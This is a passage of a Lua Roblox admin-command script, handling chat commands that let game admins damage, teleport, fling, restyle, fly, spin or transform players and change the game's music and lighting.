- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "damage " then
- local chk1 = msg:lower():sub(8):find(" ") + 7
- local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "grav " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "setgrav " then
- local chk1 = msg:lower():sub(9):find(" ") + 8
- local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
- local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "nograv " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
- local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "health " then
- local chk1 = msg:lower():sub(8):find(" ") + 7
- local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "speed " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "team " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and game:findFirstChild("Teams") then
- for a, tm in pairs(game.Teams:children()) do
- if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "place " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,3) == "tp " then
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
- local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- for i2, v2 in pairs(plrz2) do
- if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
- v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "change " then
- local chk1 = msg:lower():sub(8):find(" ") + 7
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("leaderstats") then
- for a, st in pairs(v.leaderstats:children()) do
- if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "shirt " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for i,v in pairs(v.Character:children()) do
- if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "pants " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for i,v in pairs(v.Character:children()) do
- if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "face " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
- v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
- end
- end))
- end
- end
- ---------------------
- -- FunCommands --
- ---------------------
- if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
- if msg:lower():sub(1,8) == "swagify " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for i,v in pairs(v.Character:children()) do
- if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
- if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
- end
- for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
- local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
- repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
- local torso = plr.Character.Torso
- local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
- p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
- p.Size = Vector3.new(.2,.2,.2)
- local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
- local motor1 = Instance.new("Motor", p)
- motor1.Part0 = p
- motor1.Part1 = torso
- motor1.MaxVelocity = .01
- motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
- motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
- local wave = false
- repeat wait(1/44)
- local ang = 0.1
- local oldmag = torso.Velocity.magnitude
- local mv = .002
- if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
- ang = ang + math.min(torso.Velocity.magnitude/11, .5)
- motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
- motor1.DesiredAngle = -ang
- if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
- repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
- if torso.Velocity.magnitude < .1 then wait(.1) end
- until not p or p.Parent ~= torso.Parent
- script:Destroy()
- ]] cl.Parent = v.PlayerGui cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "music " then
- for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
- local id = msg:sub(7)
- local pitch = 1
- if tostring(id):lower():find("caramell") then id = 2303479 end
- if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
- if tostring(id):find("rick") then id = 2027611 end
- if tostring(id):find("halo") then id = 1034065 end
- if tostring(id):find("pokemon") then id = 1372261 end
- if tostring(id):find("cursed") then id = 1372257 end
- if tostring(id):find("extreme") then id = 11420933 end
- if tostring(id):find("awaken") then id = 27697277 end
- if tostring(id):find("alone") then id = 27697392 end
- if tostring(id):find("mario") then id = 1280470 end
- if tostring(id):find("choir") then id = 1372258 end
- if tostring(id):find("chrono") then id = 1280463 end
- if tostring(id):find("dotr") then id = 11420922 end
- if tostring(id):find("entertain") then id = 27697267 end
- if tostring(id):find("fantasy") then id = 1280473 end
- if tostring(id):find("final") then id = 1280414 end
- if tostring(id):find("emblem") then id = 1372259 end
- if tostring(id):find("flight") then id = 27697719 end
- if tostring(id):find("banjo") then id = 27697298 end
- if tostring(id):find("gothic") then id = 27697743 end
- if tostring(id):find("hiphop") then id = 27697735 end
- if tostring(id):find("intro") then id = 27697707 end
- if tostring(id):find("mule") then id = 1077604 end
- if tostring(id):find("film") then id = 27697713 end
- if tostring(id):find("nezz") then id = 8610025 end
- if tostring(id):find("angel") then id = 1372260 end
- if tostring(id):find("resist") then id = 27697234 end
- if tostring(id):find("schala") then id = 5985787 end
- if tostring(id):find("organ") then id = 11231513 end
- if tostring(id):find("tunnel") then id = 9650822 end
- if tostring(id):find("spanish") then id = 5982975 end
- if tostring(id):find("venom") then id = 1372262 end
- if tostring(id):find("wind") then id = 1015394 end
- if tostring(id):find("guitar") then id = 5986151 end
- local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
- end
- if msg:lower() == "stopmusic" then
- for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
- end
- if msg:lower() == "musiclist" then
- if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
- local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
- for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end
- if msg:lower():sub(1,4) == "fly " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
- local mouse = game.Players.LocalPlayer:GetMouse()
- repeat wait() until mouse
- local plr = game.Players.LocalPlayer
- local torso = plr.Character.Torso
- local flying = true
- local deb = true
- local ctrl = {f = 0, b = 0, l = 0, r = 0}
- local lastctrl = {f = 0, b = 0, l = 0, r = 0}
- local maxspeed = 50
- local speed = 0
- function Fly()
- local bg = Instance.new("BodyGyro", torso)
- bg.P = 9e4
- bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- bg.cframe = torso.CFrame
- local bv = Instance.new("BodyVelocity", torso)
- bv.velocity = Vector3.new(0,0.1,0)
- bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
- repeat wait()
- plr.Character.Humanoid.PlatformStand = true
- if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
- speed = speed+.5+(speed/maxspeed)
- if speed > maxspeed then
- speed = maxspeed
- end
- elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
- speed = speed-1
- if speed < 0 then
- speed = 0
- end
- end
- if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
- bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
- lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
- elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
- bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
- else
- bv.velocity = Vector3.new(0,0.1,0)
- end
- bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
- until not flying
- ctrl = {f = 0, b = 0, l = 0, r = 0}
- lastctrl = {f = 0, b = 0, l = 0, r = 0}
- speed = 0
- bg:Destroy()
- bv:Destroy()
- plr.Character.Humanoid.PlatformStand = false
- end
- mouse.KeyDown:connect(function(key)
- if key:lower() == "e" then
- if flying then flying = false
- else
- flying = true
- Fly()
- end
- elseif key:lower() == "w" then
- ctrl.f = 1
- elseif key:lower() == "s" then
- ctrl.b = -1
- elseif key:lower() == "a" then
- ctrl.l = -1
- elseif key:lower() == "d" then
- ctrl.r = 1
- end
- end)
- mouse.KeyUp:connect(function(key)
- if key:lower() == "w" then
- ctrl.f = 0
- elseif key:lower() == "s" then
- ctrl.b = 0
- elseif key:lower() == "a" then
- ctrl.l = 0
- elseif key:lower() == "d" then
- ctrl.r = 0
- end
- end)
- Fly()]]
- cl.Parent = v.PlayerGui cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "unfly " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
- for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
- for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
- wait(.1) v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower() == "disco" then
- for i, v in pairs(lobjs) do v:Destroy() end
- local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
- game.Lighting.Ambient = color
- game.Lighting.FogColor = color
- until nil]]
- table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
- end
- if msg:lower() == "flash" then
- for i, v in pairs(lobjs) do v:Destroy() end
- local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
- game.Lighting.Ambient = Color3.new(1,1,1)
- game.Lighting.FogColor = Color3.new(1,1,1)
- game.Lighting.Brightness = 1
- game.Lighting.TimeOfDay = 14
- wait(.1)
- game.Lighting.Ambient = Color3.new(0,0,0)
- game.Lighting.FogColor = Color3.new(0,0,0)
- game.Lighting.Brightness = 0
- game.Lighting.TimeOfDay = 0
- until nil]]
- table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
- end
- if msg:lower():sub(1,5) == "spin " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
- local torso = v.Character:findFirstChild("Torso")
- local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
- repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
- until not bg or bg.Parent ~= torso
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unspin " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "dog " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- v.Character.Torso.Transparency = 1
- v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
- local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
- local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
- local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "undog " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
- if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "creeper " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,10) == "uncreeper " then
- local plrz = GetPlr(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
- if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "bighead " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
- end))
- end
- end
- if msg:lower():sub(1,9) == "minihead " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
- end))
- end
- end
- if msg:lower():sub(1,6) == "fling " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
- local xran local zran
- repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
- repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
- v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
- local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "seizure " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
- local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
- table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,10) == "unseizure " then
- local plrz = GetPlr(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
- wait(.1) v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower():sub(1,12) == "removelimbs " then
- local plrz = GetPlr(plr, msg:lower():sub(13))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "name " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
- local char = v.Character
- local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
- local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
- local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
- char.Head.Transparency = 1
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unname " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "char " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
- v:LoadCharacter()
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unchar " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
- v:LoadCharacter()
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "infect " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- Infect(v.Character)
- end
- end))
- end
- end
- if msg:lower():sub(1,11) == "rainbowify " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
